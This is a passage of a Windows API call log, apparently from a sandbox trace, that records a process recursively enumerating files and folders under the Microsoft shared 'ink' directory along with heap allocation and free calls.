ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0276.114] GetProcessHeap () returned 0xaf0000 [0276.114] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.114] GetProcessHeap () returned 0xaf0000 [0276.114] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.114] GetProcessHeap () returned 0xaf0000 [0276.115] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.115] GetProcessHeap () returned 0xaf0000 [0276.115] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.115] GetProcessHeap () returned 0xaf0000 [0276.115] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.115] GetProcessHeap () returned 0xaf0000 [0276.115] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3678268 [0276.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1ae, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.115] GetProcessHeap () returned 0xaf0000 [0276.115] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3678268 | out: hHeap=0xaf0000) returned 1 [0276.116] GetProcessHeap () returned 0xaf0000 [0276.116] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.116] GetProcessHeap () returned 0xaf0000 [0276.116] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03048 [0276.434] GetProcessHeap () returned 0xaf0000 [0276.434] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.434] GetProcessHeap () returned 0xaf0000 [0276.434] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb02d88 [0276.435] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.435] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.435] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.435] FindClose (in: hFindFile=0xb02d88 | out: hFindFile=0xb02d88) returned 1 [0276.435] GetProcessHeap () returned 0xaf0000 [0276.435] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.435] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0276.435] GetProcessHeap () returned 0xaf0000 [0276.435] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0276.435] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.435] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0276.436] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0276.436] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0276.436] GetProcessHeap () returned 0xaf0000 [0276.436] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.436] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0276.436] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0276.436] GetProcessHeap () returned 0xaf0000 [0276.436] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3667258 [0276.436] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName=".", cAlternateFileName="")) returned 0xb03088 [0276.436] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 1 [0276.436] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1b0, cFileName="..", cAlternateFileName="")) returned 0 [0276.436] FindClose (in: hFindFile=0xb03088 | out: hFindFile=0xb03088) returned 1 [0276.436] GetProcessHeap () returned 0xaf0000 [0276.437] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3667258 | out: hHeap=0xaf0000) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb28b2edf, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb28b2edf, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2662f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85cc99ae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb281a570, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb281a570, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x339380, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x58400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ecc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x59a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x972, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsar.xml", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0276.437] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsel.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0276.438] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, 